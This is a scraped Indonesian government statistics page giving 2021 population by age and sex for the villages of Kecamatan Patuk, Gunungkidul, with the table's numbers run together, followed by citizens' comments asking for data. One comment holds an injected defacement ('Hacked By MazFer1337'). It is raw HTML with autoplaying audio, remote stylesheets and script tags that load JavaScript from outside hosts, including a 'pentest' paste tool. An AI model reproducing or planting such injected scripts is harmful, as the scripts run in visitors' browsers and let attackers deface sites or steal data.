Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PATUK, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBUNDERBEJIPENGKOKSEMOYOSALAMPATUKNGORO-ORONGLANGGERANPUTATNGLEGITERBAHTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun3938 773820 582525 504324 673534 693536 712733 603533 686336 992635 613325 58399 339 738
2 tahun2719 461415 291517 322518 431813 31138 212627 532119 403533 682225 471219 31228 213 441
3 tahun3030 601413 272721 481219 311919 383221 532013 332014 342822 503018 481614 30248 204 452
4 tahun2220 421612 281021 312320 431822 401820 382321 442421 453127 582022 421514 29220 220 440
5 tahun2020 401416 302121 421314 271624 402415 392621 471517 322818 462214 361625 41215 205 420
6 tahun2926 551818 362517 422011 312022 422317 403632 681421 352430 542215 372316 39254 225 479
7 tahun2825 531911 303139 701723 402226 482120 412626 52719 263129 601719 361620 36235 257 492
8 tahun3221 531622 382728 551623 392620 462520 452425 492618 443135 661515 301715 32255 242 497
9 tahun2933 621911 302520 451819 372219 412719 462821 491522 374425 692017 371717 34264 223 487
10 tahun2521 461720 372523 482020 402917 461817 352724 511513 282528 531926 452018 38240 227 467
11 tahun2735 621215 273517 521712 292426 502619 452429 531921 403233 652219 411825 43256 251 507
12 tahun2127 482216 382420 442422 463620 562021 412430 541213 253525 601918 371817 35255 229 484
13 tahun2326 491815 333621 572914 431825 432520 453031 611825 432925 542124 452519 44272 245 517
14 tahun2633 592722 492629 552220 422827 552821 492522 472419 432630 562714 411815 33277 252 529
15 tahun2723 502020 402021 412117 382019 391720 372619 451818 362732 593323 561514 29244 226 470
16 tahun3214 461915 342123 441619 353016 461714 312027 471713 303527 621718 351913 32243 199 442
17 tahun2528 531716 331715 322023 432626 522213 351921 401813 312628 542124 45177 24228 214 442
18 tahun3329 621318 313130 612724 512221 432222 442219 412614 403632 682723 501325 38272 257 529
19 tahun3420 542222 443225 572421 452124 451819 372136 572214 362829 572715 421914 33268 239 507
20 tahun2920 492120 411627 431813 312331 541525 402523 481917 363727 642335 582121 42247 259 506
21 tahun1524 391727 441624 403419 531916 352021 412221 432123 443133 642827 551611 27239 246 485
22 tahun2221 432029 492720 472319 422021 412125 462319 421918 373828 662733 602523 48265 256 521
23 tahun2412 361916 352319 422212 341627 432619 452725 521715 323327 602525 501126 37243 223 466
24 tahun2120 411415 291611 272018 382515 401924 432521 462513 383427 613023 531722 39246 209 455
25 tahun2916 451317 301815 332024 442228 502315 382931 601912 313325 581619 352718 45249 220 469
26 tahun2222 441915 341421 352319 422522 471121 321318 312226 482133 541518 331222 34197 237 434
27 tahun2519 441411 251921 402025 452619 451920 392223 452025 452627 531417 312012 32225 219 444
28 tahun2033 531515 302018 381926 452318 411617 333118 491214 263033 632520 452012 32231 224 455
29 tahun2418 421822 401025 351912 311829 471615 312420 443017 472925 542021 411214 26220 218 438
30 tahun1923 422222 441820 381723 402423 472129 502128 492628 543544 791917 361625 41238 282 520
31 tahun2123 441814 322131 521611 271921 402518 432229 512123 443234 662622 481617 33237 243 480
32 tahun2620 461614 302921 501816 342716 431415 291819 371724 413232 642721 481615 31240 213 453
33 tahun2122 431914 332526 51923 322224 461825 432227 492021 413431 651814 321023 33218 250 468
34 tahun2220 421513 281520 351610 262724 511820 381924 431013 232118 391719 361212 24192 193 385
35 tahun1516 311014 24199 281217 292220 421223 352226 481711 282836 641613 291912 31192 197 389
36 tahun2528 531516 311926 451818 361527 421715 322323 461618 343727 642417 411712 29226 227 453
37 tahun2529 541924 432226 481413 272620 462923 522733 601714 312731 581616 321310 23235 239 474
38 tahun1731 482120 412220 421324 372621 472422 463422 561915 343535 701719 362319 42251 248 499
39 tahun2726 531815 334428 721821 392625 511728 452428 521617 333539 741433 471926 45258 286 544
40 tahun3132 631719 361933 522018 382436 602329 523522 572722 493539 743025 551523 38276 298 574
41 tahun2528 531827 452323 462419 431929 483627 632229 511722 393732 692325 482423 47268 284 552
42 tahun3025 551417 312221 431821 391528 432021 412929 581819 373833 711416 301718 35235 248 483
43 tahun3139 702322 453126 572030 502719 462219 412522 472119 403236 682721 482714 41286 267 553
44 tahun2923 522319 422218 401422 362520 452217 392325 481422 363233 652118 391517 32240 234 474
45 tahun3731 682216 382522 472318 412823 512324 472227 492216 383037 671829 472522 47275 265 540
46 tahun2225 472223 452519 442829 572617 432023 432125 461716 333638 742331 541314 27253 260 513
47 tahun2622 481323 362227 492718 452822 502516 412830 582825 533930 692325 482628 54285 266 551
48 tahun2330 531721 382716 431924 432329 522821 492029 492527 523427 613224 561622 38264 270 534
49 tahun3330 632821 492019 392426 502325 481326 392731 581520 353037 673427 611312 25260 274 534
50 tahun2315 382826 542122 432025 451926 452413 372633 591017 271726 431830 481913 32225 246 471
51 tahun2533 581724 412423 472016 362119 402126 472535 602219 412223 453321 543126 57261 265 526
52 tahun2222 442814 422420 443428 622324 471829 472429 531925 443025 552228 502223 45266 267 533
53 tahun2423 472028 482616 421916 351922 412022 422531 562224 463639 752829 571916 35258 266 524
54 tahun2317 402319 421722 391510 252818 463122 532330 531925 442636 622830 581217 29245 246 491
55 tahun2434 582116 371421 352319 421422 361921 403133 641617 333421 552416 401124 35231 244 475
56 tahun2623 491421 352029 491620 362629 552221 433324 571720 372726 531426 401720 37232 259 491
57 tahun719 262116 371712 29616 221720 371418 322319 421620 362326 491315 282013 33177 194 371
58 tahun2827 552116 371528 432112 331618 341823 412527 522412 362538 631822 401724 41228 247 475
59 tahun1315 281724 412224 461415 291817 351317 302817 451612 281416 301924 432115 36195 196 391
60 tahun2422 461414 281119 301114 251621 37913 221614 301013 232026 461115 261115 26153 186 339
61 tahun1820 381620 36917 261112 232317 402313 362429 531617 332135 561525 401423 37190 228 418
62 tahun2612 381410 241922 41914 231716 332220 422919 481213 251718 351519 342018 38200 181 381
63 tahun1734 51717 241520 352010 301714 311414 281532 472020 402026 461021 312118 39176 226 402
64 tahun1315 281314 271816 342012 321221 331211 231118 291112 232020 401817 35811 19156 167 323
65 tahun1214 261113 241718 351516 311317 30416 202329 52204 242122 431312 25812 20157 173 330
66 tahun2017 371311 241713 3069 151017 271113 242017 371115 262024 441515 301512 27158 163 321
67 tahun119 20914 231910 29611 17168 2498 172511 36817 252017 37910 19177 24149 122 271
68 tahun2014 341014 24168 24817 25610 16175 22148 22813 211317 30720 271511 26134 137 271
69 tahun612 1859 141011 211012 2299 1899 181610 2679 162012 321817 35103 13120 113 233
70 tahun1113 2426 8159 241210 22137 20511 161312 25148 221113 24134 17812 20117 105 222
71 tahun1516 311318 31810 18616 22814 221313 261515 301012 222320 431015 25109 19131 158 289
72 tahun49 13612 18119 2065 11614 2044 81112 2373 10127 19810 18810 1883 95 178
73 tahun62 8119 20511 161413 27711 1858 13136 19918 27717 242517 4275 12109 117 226
74 tahun613 1965 1148 1265 1199 1834 7510 1533 666 12312 1565 1157 80 137
75 tahun512 1767 1375 1298 1774 1115 6818 2663 938 1149 1346 1060 85 145
76 tahun1313 26617 23516 2144 8713 2045 999 1858 131116 27129 2186 1484 116 200
77 tahun93 1236 944 857 1248 1241 535 813 464 1055 1056 1149 52 101
78 tahun59 141111 2246 1019 10310 1357 12612 1839 1259 14811 1947 1155 100 155
79 tahun34 7612 1829 1123 51115 26613 19917 2674 11812 201511 2657 1274 107 181
80 ke atas3056 863462 962871 993555 902866 943053 834389 1322851 793671 1074479 1233551 86371 704 1.075
Jumlah1.7541.7633.5171.3211.3832.7041.5661.6143.1801.3971.3902.7871.5821.6513.2331.4541.4632.9171.7901.8943.6841.3501.3652.7152.1592.1744.3331.5841.6483.2321.3081.3222.630 17.265 17.667 34.932
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih